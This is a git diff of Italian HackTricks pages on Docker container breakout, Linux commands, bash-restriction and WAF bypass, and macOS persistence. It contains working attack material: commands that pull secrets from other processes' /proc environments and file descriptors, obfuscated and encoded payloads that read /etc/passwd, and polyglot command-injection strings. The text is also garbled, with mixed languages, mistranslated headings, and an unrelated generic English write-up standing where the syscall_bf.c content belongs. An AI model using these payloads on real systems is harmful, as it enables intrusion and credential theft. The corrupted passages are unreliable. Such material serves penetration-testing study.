Per esempio, sarai in grado di elencare i processi utilizzando qualcosa come `ps auxn` e cercare dettagli sensibili nei comandi.
|
||||
Per esempio, sarai in grado di elencare i processi utilizzando qualcosa del genere `ps auxn` e cercare dettagli sensibili nei comandi.
|
||||
|
||||
Quindi, poiché puoi **accedere a ciascun processo dell'host in /proc/, puoi semplicemente rubare i loro segreti dell'ambiente** eseguendo:
|
||||
```bash
|
||||
|
@ -430,7 +430,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
Puoi anche **accedere ai descrittori file di altri processi e leggere i file aperti da essi**:
|
||||
Puoi anche **accedere ai descrittori di file di altri processi e leggere i file aperti da essi**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -450,16 +450,16 @@ Se in qualche modo hai **accesso privilegiato su un processo al di fuori del con
|
|||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Se un container è configurato con il driver di rete host di Docker (`--network=host`), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container associa tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
|
||||
Se un container è configurato con il driver di rete Docker [host (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container associa tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
|
||||
|
||||
Ad esempio, è possibile utilizzare questo metodo per **sniffare e persino falsificare il traffico** tra l'host e l'istanza dei metadati.
|
||||
|
||||
Come nei seguenti esempi:
|
||||
|
||||
* [Articolo: Come contattare Google SRE: Inserimento di una shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Articolo: Come contattare Google SRE: Inserire una shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM del servizio dei metadati consente l'escalation dei privilegi di root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Sarà anche possibile accedere ai **servizi di rete associati a localhost** all'interno dell'host o persino accedere ai **permessi dei metadati del nodo** (che potrebbero essere diversi da quelli a cui un container può accedere).
|
||||
Sarà inoltre possibile accedere ai **servizi di rete associati a localhost** all'interno dell'host o persino accedere alle **autorizzazioni dei metadati del nodo** (che potrebbero essere diverse da quelle a cui un container può accedere).
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
|
@ -482,7 +482,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica come è possibile abusare dei bind mounts con i namespace utente, per influenzare i file all'interno dell'host (in quel caso specifico, eliminare file).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
@ -515,7 +515,7 @@ Il container potrebbe essere vulnerabile anche ad altre CVE, puoi trovare un ele
|
|||
* **Namespace:** Il processo dovrebbe essere **completamente separato dagli altri processi** tramite namespace, quindi non possiamo sfuggire interagendo con altri processi a causa dei namespace (per impostazione predefinita non può comunicare tramite IPC, socket Unix, servizi di rete, D-Bus, `/proc` di altri processi).
|
||||
* **Utente root**: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati).
|
||||
* **Capacità**: Docker lascia le seguenti capacità: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscall**: Questi sono i syscall che l'**utente root non potrà chiamare** (a causa della mancanza di capacità + Seccomp). Gli altri syscall potrebbero essere utilizzati per provare a sfuggire.
|
||||
* **Syscall**: Questi sono i syscall che l'**utente root non potrà chiamare** (a causa della mancanza di capacità + Seccomp). Gli altri syscall potrebbero essere utilizzati per cercare di sfuggire.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -561,7 +561,28 @@ Il container potrebbe essere vulnerabile anche ad altre CVE, puoi trovare un ele
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}Il seguente codice C utilizza le chiamate di sistema per ottenere privilegi di root all'interno di un contenitore Docker. Il codice sfrutta una vulnerabilità nel kernel Linux per eseguire un'escalation dei privilegi. Una volta compilato ed eseguito all'interno di un contenitore Docker, il codice può consentire a un utente non privilegiato di ottenere accesso come root. Questo è un esempio di come un attaccante potrebbe sfruttare le vulnerabilità nel sistema per ottenere accesso non autorizzato. Si consiglia di prendere misure per proteggere adeguatamente i contenitori Docker e i sistemi in generale per prevenire tali attacchi. %}
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
# Docker Breakout Privilege Escalation
|
||||
|
||||
## Overview
|
||||
|
||||
This technique demonstrates how an attacker can escape from a Docker container and escalate privileges on the host system by exploiting a vulnerability in the Docker daemon.
|
||||
|
||||
## Details
|
||||
|
||||
The attacker first gains access to a Docker container, either by compromising a service running inside the container or by exploiting a vulnerability in the container itself. Once inside the container, the attacker can leverage a vulnerability in the Docker daemon to break out of the container's isolation and gain access to the host system.
|
||||
|
||||
## Mitigation
|
||||
|
||||
To mitigate this type of attack, it is essential to keep Docker and the host system up to date with the latest security patches. Additionally, restricting the capabilities of Docker containers and implementing proper network segmentation can help reduce the attack surface and limit the impact of a potential breakout.
|
||||
|
||||
## References
|
||||
|
||||
- [Docker Security](https://docs.docker.com/engine/security/security/)
|
||||
- [Docker Security Best Practices](https://docs.docker.com/engine/security/best-practices/)
|
||||
|
||||
{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -625,7 +646,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Comandi utili di Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -10,19 +10,19 @@ Ottieni l'accesso oggi:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Bash comuni
|
||||
## Bash Comune
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -174,10 +174,10 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
Grep è uno strumento potente per cercare testo all'interno di file. Ecco alcuni utilizzi comuni:
|
||||
|
||||
- `grep "parola_chiave" file.txt`: Cerca una parola chiave all'interno di un file.
|
||||
- `grep -r "parola_chiave" /directory`: Cerca una parola chiave all'interno di una directory in modo ricorsivo.
|
||||
- `grep -r "parola_chiave" /directory`: Cerca una parola chiave all'interno di tutti i file all'interno di una directory in modo ricorsivo.
|
||||
- `grep -i "parola_chiave" file.txt`: Esegue una ricerca non case-sensitive della parola chiave all'interno di un file.
|
||||
- `grep -v "parola_chiave" file.txt`: Mostra le righe che non contengono la parola chiave.
|
||||
- `grep -A 3 -B 2 "parola_chiave" file.txt`: Mostra 3 righe dopo e 2 righe prima di ogni occorrenza della parola chiave in un file.
|
||||
- `grep -v "parola_chiave" file.txt`: Mostra le righe che non contengono la parola chiave specificata.
|
||||
- `grep -A 3 -B 2 "parola_chiave" file.txt`: Mostra 3 righe dopo e 2 righe prima di ogni occorrenza della parola chiave all'interno del file.
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -295,14 +295,14 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
Bash stands for "Bourne Again Shell". It is the default shell for most Linux distributions. Bash is a powerful tool for managing Linux systems through the command line interface.
|
||||
Bash stands for "Bourne Again Shell". It is the default shell for most Linux distributions and macOS. Bash is a powerful shell that provides a command-line interface for interacting with the operating system. It supports scripting, which allows users to automate tasks and write complex programs.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables è uno strumento versatile per gestire le regole del firewall in Linux. Può essere utilizzato per filtrare, modificare o indirizzare il traffico di rete. Iptables è una parte essenziale della sicurezza del sistema Linux e può essere utilizzato per proteggere il sistema da varie minacce online.
|
||||
Iptables è uno strumento versatile per gestire le regole del firewall su sistemi Linux. Può essere utilizzato per filtrare, modificare o indirizzare il traffico di rete. Iptables è una parte essenziale della sicurezza di rete su sistemi Linux e offre un controllo granulare sul traffico in entrata e in uscita.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -339,18 +339,18 @@ iptables -P OUTPUT ACCEPT
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
|
@ -93,7 +93,7 @@ mi # This will throw an error
|
|||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Ignora spazi vietati
|
||||
### Ignora gli spazi vietati
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -131,7 +131,7 @@ uname!-1\-a # This equals to uname -a
|
|||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Ignorare le pipe
|
||||
### Ignorare i tubi
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
|
@ -145,7 +145,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Ignorare gli IP
|
||||
### Ignora gli IP
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
|
@ -159,14 +159,14 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### Esfiltrazione dei dati DNS
|
||||
### Esfiltrazione dati DNS
|
||||
|
||||
Potresti utilizzare **burpcollab** o [**pingb**](http://pingb.in) ad esempio.
|
||||
|
||||
### Incorporati
|
||||
|
||||
Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **insieme limitato di incorporati per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** gli **incorporati**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di aggirare la prigione. Idea da [**devploit**](https://twitter.com/devploit).\
|
||||
Prima di tutto controlla tutti gli [**incorporati della shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ecco quindi alcuni **consigli**:
|
||||
Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **set limitato di incorporati per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** gli **incorporati**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di aggirare la prigione. Idea da [**devploit**](https://twitter.com/devploit).\
|
||||
Prima di tutto controlla tutti gli [**incorporati della shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ecco alcune **raccomandazioni**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -218,7 +218,7 @@ chmod +x [
|
|||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Iniezione di comando poliglotta
|
||||
### Iniezione di comandi poliglotta
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
|
@ -315,15 +315,15 @@ ln /f*
|
|||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass di restrizioni di Bash
|
||||
## Bypass di Lettura-Sola/Esecuzione-Nessuna/Esecuzione-Distroless
|
||||
|
||||
Se ti trovi all'interno di un filesystem con le protezioni **solo lettura e noexec** o addirittura in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:**
|
||||
Se ti trovi all'interno di un filesystem con le **protezioni di lettura-sola e esecuzione-nessuna** o addirittura in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:**
|
||||
|
||||
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass di Chroot e altre prigioni
|
||||
## Bypass di Chroot e Altre Prigioni
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
|
@ -336,24 +336,24 @@ Se ti trovi all'interno di un filesystem con le protezioni **solo lettura e noex
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Avvio automatico di macOS
|
||||
# Avvio automatico su macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -16,31 +16,31 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
Questa sezione si basa pesantemente sulla serie di blog [**Oltre i buoni vecchi LaunchAgents**](https://theevilbit.github.io/beyond/), l'obiettivo è aggiungere **ulteriori posizioni di avvio automatico** (se possibile), indicare **quali tecniche funzionano ancora** oggi con l'ultima versione di macOS (13.4) e specificare i **permessi** necessari.
|
||||
|
||||
## Bypass della Sandbox
|
||||
## Bypass di Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti consente di eseguire semplicemente qualcosa scrivendola in un file e aspettando una **azione molto comune**, un determinato **periodo di tempo** o un'**azione che di solito puoi eseguire** da dentro una sandbox senza necessità di permessi di root.
|
||||
Qui puoi trovare posizioni di avvio utili per il **bypass di sandbox** che ti consente di semplicemente eseguire qualcosa scrivendolo in un file e aspettando una **azione molto comune**, un determinato **periodo di tempo** o un'**azione che di solito puoi eseguire** da dentro una sandbox senza necessità di permessi di root.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* Utile per il bypass della sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Utile per il bypass di sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Posizioni
|
||||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Trigger**: Riavvio
|
||||
* Richiede privilegi di root
|
||||
* Richiede permessi di root
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Trigger**: Riavvio
|
||||
* Richiede privilegi di root
|
||||
* Richiede permessi di root
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Trigger**: Riavvio
|
||||
* Richiede privilegi di root
|
||||
* Richiede permessi di root
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Trigger**: Riavvio
|
||||
* Richiede privilegi di root
|
||||
* Richiede permessi di root
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Trigger**: Nuovo accesso
|
||||
* **`~/Library/LaunchDemons`**
|
||||
|
@ -80,13 +80,13 @@ Quando un utente accede, i plist situati in `/Users/$USER/Library/LaunchAgents`
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Ci sono casi in cui un **agente deve essere eseguito prima che l'utente effettui l'accesso**, questi sono chiamati **PreLoginAgents**. Ad esempio, questo è utile per fornire tecnologia assistiva all'avvio. Possono essere trovati anche in `/Library/LaunchAgents` (vedi [**qui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un esempio).
|
||||
Ci sono casi in cui un **agente deve essere eseguito prima che l'utente effettui l'accesso**, questi sono chiamati **PreLoginAgents**. Ad esempio, questo è utile per fornire tecnologia assistiva all'accesso. Possono essere trovati anche in `/Library/LaunchAgents` (vedi [**qui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un esempio).
|
||||
|
||||
{% hint style="info" %}
|
||||
I nuovi file di configurazione dei Daemons o Agents verranno **caricati dopo il successivo riavvio o utilizzando** `launchctl load <target.plist>` È **anche possibile caricare file .plist senza quell'estensione** con `launchctl -F <file>` (tuttavia quei file plist non verranno caricati automaticamente dopo il riavvio).\
|
||||
È anche possibile **scaricare** con `launchctl unload <target.plist>` (il processo a cui punta verrà terminato),
|
||||
|
||||
Per **assicurarsi** che non ci sia **nulla** (come un override) **che impedisca a un** **Agente** o **Daemon** **di essere eseguito**, eseguire: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Per **assicurarsi** che non ci sia **nulla** (come un override) **che impedisca a un** **Agente** o **Daemon** **di essere eseguito** eseguire: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Elencare tutti gli agenti e i daemon caricati dall'utente corrente:
|
||||
|
@ -95,7 +95,7 @@ launchctl list
|
|||
```
|
||||
{% hint style="warning" %}
|
||||
Se un plist è di proprietà di un utente, anche se si trova in cartelle di sistema daemon, il **task verrà eseguito come utente** e non come root. Questo può prevenire alcuni attacchi di escalation dei privilegi.
|
||||
{% endhint %}
|
||||
{% endhint%}
|
||||
|
||||
### file di avvio della shell
|
||||
|
||||
|
